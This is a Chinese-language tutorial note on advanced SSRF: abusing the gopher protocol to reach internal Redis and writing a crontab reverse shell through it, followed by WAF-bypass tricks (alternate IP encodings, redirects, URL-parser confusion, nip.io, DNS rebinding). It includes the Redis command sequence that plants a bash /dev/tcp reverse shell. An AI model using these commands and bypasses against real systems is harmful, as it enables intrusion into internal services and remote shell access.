SSRF的进阶
1.Gopher协议的利用
1.gopher协议可以通过url指向指定IP端口发送任意内容，模拟大多数TCP协议，是SSRF中的一把利刃。
gopher协议URL： gopher://<host>:<port>/_<url编码的TCP数据>
这个url编码的TCP数据是gopher如此强大的原因，我们可以将任意TCP协议的流量，url编码后通过gopher这个载体发出去。这里有一个限制就是，gopher协议会一次把流量全部发送出去，这里就要它所承载的数据是无状态的单次链接，比如像有认证的mysql服务，就无法使用gopher来模拟。
2.不过gopher也不是在任何情况下都能使用，常见的编程语言对gopher协议的支持如下
PHP：--with-curlwrappers且php版本至少为5.3
Java：小于JDK1.7
Curl：低版本不支持
Perl：支持
ASP.NET：小于版本3
3.使用gopher访问Redis 近些年来出现了大量无认证Redis的手法，但是Redis一般部署在内网，大多数情况下绑定在127.0.0.1：6379，无法从外部直接访问。但是在存在SSRF漏洞的情况下，可以通过gopher协议来访问内网的Redis服务，导致任意的增删改查，甚至造成写入webshell、crontab、SSH公钥等更危险的结果。
Redis协议（RESP）的格式还是较为简单的，对于gopher非常好构造。
4.在访问Redis时，可以采用写入Crontab（一种管理工具）的方式反弹shell。流程如下：
redis-cli flushall
echo -e"\n\n*/1****bash -i /dev/tcp/127.0.0.1/8080 0>&1\n\n" | redis-cli -x set 1
redis-cli config set dir /var/spool/cron
redis-cli config set dbfilename root
redis-cli save
我们可以使用socat转发并记录流量，获取Redis协议流。
socat -v tcp-listen:1234,fork tcp-connect=localhost:6379
然后将其中的数据转换成gopher协议，把所有我们发出的流量进行url编码。
2.SSRF的绕过
SSRF也存在一些WAF（Web应用防火墙）绕过的场景
1.IP地址变形
如果WAF限制了IP地址，比如只允许外网IP作为参数输入,这时可以采取以下绕过方式:
a.改变ip地址的进制 比如可以把127.0.0.1改为十六进制的0x7f000001,或者十进制的2130706433
b.省略0位 可以将127.0.0.1省略为127.1
c.特殊写法的ip地址 在windows中0代表0.0.0.0。而在linux中0代表127.0.0.1
d.利用Enclosed Alphanumeric代替数字字母 ①②③.④⑤.⑥⑦.⑧⑨
2.利用跳转
可以使用302跳转到特定IP地址或者使用其他协议，需要服务端进行配置。
3.利用URL解析问题，
URL的格式较为复杂，不同的实现方式可能造成解析差异，比如
http://a@127.0.0.1:80@baidu.com, 对于php来说，hostname为baidu.com而对于libcurl(<7.54.0)来说hostname为127.0.0.1.
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
4.利用DNS
可以利用动态解析服务，比如nip.io。它可以将127.0.0.1 nip.io解析为127.0.0.1
DNS重绑定，在某些情况下,后端服务可能采取这样的方法检测SSRF。先对域名进行解析,获得ip地址,判断ip地址合法性,如果合法则将域名传入到请求函数,在请求函数中会对域名做第二次解析。这样一来，如果我们搭建一个DNS服务，在第一次请求解析时返回一个合法的IP，在第二次解析时返回一个内网IP，就能绕过上述检测方式。